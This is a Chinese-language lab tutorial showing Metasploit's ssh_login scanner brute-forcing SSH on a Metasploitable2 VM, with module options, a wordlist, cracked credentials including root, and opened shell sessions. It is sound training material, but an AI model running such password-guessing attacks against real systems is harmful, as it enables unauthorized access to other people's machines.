Metasploit通过ssh暴力破解

Metasploit通过ssh暴力破解

查询ssh_login模块 search ssh_login

复制代码
msf5 auxiliary(sniffer/psnuffle) > search ssh_login

Matching Modules
================

   #  Name                                    Disclosure Date  Rank    Check  Description
   -  ----                                    ---------------  ----    -----  -----------
   0  auxiliary/scanner/ssh/ssh_login                          normal  No     SSH Login Check Scanner
   1  auxiliary/scanner/ssh/ssh_login_pubkey                   normal  No     SSH Public Key Login Scanner


Interact with a module by name or index, for example use 1 or use auxiliary/scanner/ssh/ssh_login_pubkey

run

使用auxiliary/scanner/ssh/ssh_login模块, 设置相关参数

复制代码
msf5 auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting     Required  Description
   ----              ---------------     --------  -----------
   BLANK_PASSWORDS   false               no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                   yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false               no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false               no        Add all passwords in the current database to the list
   DB_ALL_USERS      false               no        Add all users in the current database to the list
   PASSWORD                              no        A specific password to authenticate with
   PASS_FILE                             no        File containing passwords, one per line
   RHOSTS            192.168.80.201      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             22                  yes       The target port
   STOP_ON_SUCCESS   false               yes       Stop guessing when a credential works for a host
   THREADS           25                  yes       The number of concurrent threads (max one per host)
   USERNAME                              no        A specific username to authenticate as
   USERPASS_FILE     /root_userpass.txt  no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false               no        Try the username as the password for all users
   USER_FILE                             no        File containing usernames, one per line
   VERBOSE           true                yes       Whether to print output for all attempts

这里使用msf自带的字典对metaspliotable2, root用户进行爆破。

/usr/share/metasploit-framework/data/wordlists, 使用root_userpass.txt(文件内)

由于知道root用户密码, 最字典最后添加一行即可。具体字典根据实际情况使用可结合社会工程学。

复制代码
[-] 192.168.80.201:22 - Failed: 'root:ibm'
[-] 192.168.80.201:22 - Failed: 'root:monitor'
[-] 192.168.80.201:22 - Failed: 'root:turnkey'
[-] 192.168.80.201:22 - Failed: 'root:vagrant'
[+] 192.168.80.201:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 2 opened (192.168.80.200:43555 -> 192.168.80.201:22) at 2020-09-09 02:32:13 -0400
[+] 192.168.80.201:22 - Success: 'root:123.com' 'uid=0(root) gid=0(root) groups=0(root) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 3 opened (192.168.80.200:38359 -> 192.168.80.201:22) at 2020-09-09 02:32:14 -0400

这里发现msfadmin和root都连接成功。通过sessions -i连接ttl

相关推荐
智塑未来4 小时前
短剧出海平台选择:技术视角下的翻译配音工具选型与自动化流程实战
运维·自动化·xcode
天衍四九-4 小时前
MySQL有哪些索引
数据库·mysql
A-刘晨阳4 小时前
K8s集群中的数据库新范式:KES-Operator解锁部署、扩缩容、备份全链路自动化
运维·数据库·云原生·kubernetes·自动化
大模型码小白5 小时前
Harness Engineering 驾驭工程:从使用到项目实战
大数据·数据库·人工智能·python·spring
JoyCong19985 小时前
知识科普:ToDesk鸿蒙版高级功能免费开放使用了!
运维·服务器·华为·智能手机·harmonyos·远程工作
cjp5605 小时前
011. UG二次开发,UG管道通讯服务器与wpf客户端通讯
linux·运维·服务器
迪康coolmu5 小时前
企业文档防泄密五层防护实战:基于迪康端点安全一体化管理系统的设计与落地
运维·经验分享·安全
abcyuu5 小时前
福州中小企业业财一体化系统权限管理与数据安全实践方案
大数据·网络·数据库
智能运维指南5 小时前
AI加持下的可观测平台与传统平台有什么本质区别?智能告警降噪和根因分析是否可靠?
运维·人工智能·可观测平台·嘉为蓝鲸
就叫飞六吧6 小时前
SSH 本地端口转发:用 localhost 访问远程服务
运维·ssh